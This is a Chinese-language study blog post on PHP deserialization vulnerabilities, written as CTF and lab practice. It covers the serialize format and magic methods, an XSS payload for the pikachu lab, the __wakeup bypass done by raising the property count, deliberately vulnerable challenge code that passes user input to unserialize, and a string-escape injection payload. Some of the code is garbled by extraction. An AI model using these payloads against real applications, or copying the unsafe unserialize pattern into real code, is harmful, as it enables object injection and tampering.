之前ISCC比赛中,见到许多的关于序列化和反序列化之类的题,当时我也不会,写也写不动,复现也不会。我就记着了。今天特地准备学习了一下
即 把对象或者变量转变为字符串的过程
函数 ;serialize
这个函数就是序列化的函数
name = $name;
$this->age = $age;
$this->height = $height;
}
}
$man=new man("choudidi",5,21);
var_dump(serialize($man));
?>
string(72) "O:3:"man":3:{s:4:"name";s:8:"choudidi";s:3:"age";i:5;s:6:"height";i:21;}"
o是object 3是3个字符 man是类名
3是3个变量
s是string 4个字符 name变量名
s 8个字符 choudidi赋值给name
依次类推
序列化大概就是这么个样子
就是跟序列化一样的
不过是反过来,把字符串转换成数组形式
函数 unserialize
name = $name;
$this->age = $age;
$this->height = $height;
}
}
$man= 'O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:5;s:6:"height";i:20;}';
var_dump(unserialize($man));
?>
反序列化漏洞的成因就是反序列化的内容是由用户控制的,在加上后台某些不正当的魔法函数,就可能出现漏洞。
__construct() //当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__toString() //当一个对象被当作一个字符串使用
__sleep() //在对象被序列化之前使用
__wakeup() //反序列化之前调用
在程序运行的时候,若存在以上函数,则先运行该函数
举个例子
class S{
var $test = "pikaqiu";
function __destruct(){
echo $this->test;
}
}
$s = $_GET['test'];
@$unser = unserialize($a);
payload
O:1:"S":1:{s:4:"test";s:29:"";}
输入这个payload的时候,test的值就,执行xss弹窗.
在pikaqiu靶场中进行试验。
当序列化字符串中表示对象属性个数的值大于真是属性的个数是,会跳过wakeup函数的执行
例如如下
构造序列化对象:O:5:“SoFun”:1:{s:4:“file”;s:8:“flag.php”;}
构造绕过__wakeup:O:5:“SoFun”:2:{s:4:“file”;s:8:“flag.php”;}
对代码进行审计。
创建了一个xctf类,定义一个变量叫flag,赋值为111,并且用了wakeup这个函数,一旦反序列化就会调用这个函数,就会输出’ bad request 并且终止程序。
那么解题的话,就需要绕过·wakeup函数
实例化这个类
$a=new xctf(code);
$str=serialize($a);
echo $str:
得到O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;}
但是我们需要绕过wakeup函数,就需要把1改为2
O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}
即可
构造payload
‘
理论的学习是这个样子,等到写题的时候,一定不会那么简单。
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else die('Wrong filename.');
}}
function __wakeup(){ $this-> file='index.php'; }
public function __toString(){return '' ;}}
if (!isset($_GET['file'])){ show_source('index.php'); }
else{
$file=base64_decode( $_GET['file']);
echo unserialize($file ); }
?> #
因为代码审计不过关,只能把解题方法放下面
抽空闲的时候,我会仔细的审计的
博客链接放出来大佬博客
有机会遇到这种题会再补
这个是学长让了解学习的,刚好看了序列化和反序列化,就顺便把字符串逃逸学习一下
我冥思苦想一下午,终于啊,我整出来了
我觉得反序列化字符串逃逸的整体思想就是闭合
比如
< ?php
function test($str){
return preg_ replace(' /x/','ha', $str);
}
$name = $_ GET[ name ] ;
$sign = 'hello everyone' ;
$user = array( $name ,$sign);
$user_ ser = test(serialize($user));
echo $user ser.'
' ;
$fake = unserialize($user_ ser);
echo $fake[0].'
';
echo $fake[1].'
';
?>
进行一波代码审计:输入name并且和sign一起输入到user数组中。user序列化后的字符串经过test函数检测后,输出反序列化的结果。
php反序列化的终止是判断是否完成闭合,即是否存在{},一个完整的{}即为一个闭合,闭合后面的部分则不会报错
就如果输入name=avAlx,那么就会得到下图。
因为avAlha的长度和5不符,所以报错。不会进行反序列化
首先,我们要了解
所以我们要在序列化前将这个数改为一个我们希望的书的数。
比如https://www.cnblogs.com/hello-there/p/12870541.html
如果要更改sign的内容,就需要自己写入一个类似下图的序列化
?name=evALxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";i:1;s:14:"hello hackerrr";}
刚好62个字符,当x被替换为ha后
字符刚好为62,不会报错,并且正好形成闭合执行;i:1;s:14:“hello hackerrr”,故刚好可以解决我们的需求。
这就是PHP反序列化字符串逃逸
参考大佬博客